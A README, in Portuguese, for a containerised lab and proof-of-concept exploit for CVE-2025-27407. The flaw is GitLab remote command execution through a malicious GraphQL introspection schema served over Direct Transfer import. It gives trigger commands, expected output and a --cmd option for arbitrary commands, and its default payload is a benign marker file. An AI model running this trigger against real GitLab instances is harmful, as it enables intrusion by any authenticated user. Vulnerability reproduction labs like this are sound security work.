
Laboratória local e exploit de prova de conceito para CVE-2025-27407, visando o carregador de esquema de introspecção GraphQL do GitLab através do caminho HTTP Direct Transfer. Inclui ambiente conteinerizado e script de acionamento automatizado.
Laboratório local mínimo para comprovar o caminho HTTP de Transferência Direta do GitLab que atinge o carregador de esquema de introspecção graphql-ruby vulnerável. O laboratório executa um contêiner GitLab CE vulnerável; o script PoC inicia seu servidor de origem falso do GitLab em processo apenas durante o teste.
Execute isto apenas contra sistemas que você possui ou para os quais tem autorização explícita para testar.
| Arquivo | Finalidade |
|---|
lab.sh | Inicia, aguarda, verifica e limpa o laboratório GitLab. |
poc_host_port_cmd.py | PoC único: servidor de origem falso + acionador de login/configure/import do GitLab. |
podmancurlValores padrão:
| Item | Padrão |
|---|---|
| Imagem do GitLab | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| Contêiner do GitLab | cve-27407-gitlab |
| Rede Podman | cve-2025-27407-net |
| Usuário root do GitLab | root |
| Senha do root do GitLab | Cve27407Password! |
| Marcador | /tmp/cve_2025_27407_gitlab_marker |
A porta 8080 é o padrão do script. Se outra coisa já estiver usando, use 18080 como mostrado aqui.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Abra o GitLab em:
http://127.0.0.1:18080
Credenciais de login:
root / Cve27407Password!
root é apenas o usuário padrão do laboratório. O acionador do PoC não requer uma conta de administrador; qualquer usuário autenticado que possa criar/importar para um namespace de destino pode atingir o caminho vulnerável de Transferência Direta. Use --username e --password para testar com um usuário não administrador.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Sinais esperados:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
| Opção | Finalidade | Padrão |
|---|---|---|
--host | Host do GitLab a ser alvo | Obrigatório |
--port | Porta HTTP do GitLab a ser alvo | Obrigatório |
--cmd | Comando executado no runtime do GitLab | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Porta local do servidor de origem falso | 8001 |
--wait-seconds | Tempo para manter fonte falsa ativa para workers assíncronos do GitLab | 90 |
--username | Nome de usuário do GitLab | root |
--password | Senha do GitLab | Cve27407Password! |
| Variável | Finalidade | Padrão |
|---|---|---|
GITLAB_HTTP_PORT | Porta HTTP do GitLab (host/contêiner) | 8080 |
GITLAB_SSH_PORT | Porta SSH do GitLab no host | 2224 |
GITLAB_ROOT_PASSWORD | Senha inicial do root | Cve27407Password! |
GITLAB_IMAGE | Imagem do GitLab a ser executada | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Nome da rede Podman | cve-2025-27407-net |
MARKER | Arquivo verificado dentro do contêiner GitLab | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Tempo limite de espera pela prontidão | 1200 |
8080 estiver ocupada, use GITLAB_HTTP_PORT=18080 para ./lab.sh up.--listen-port para uma porta não utilizada.--wait-seconds ou execute novamente MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup e comece novamente../lab.sh cleanup
Isso remove o contêiner GitLab, qualquer contêiner de origem falsa legado de versões anteriores do laboratório e a rede do laboratório. Não remove imagens Podman baixadas.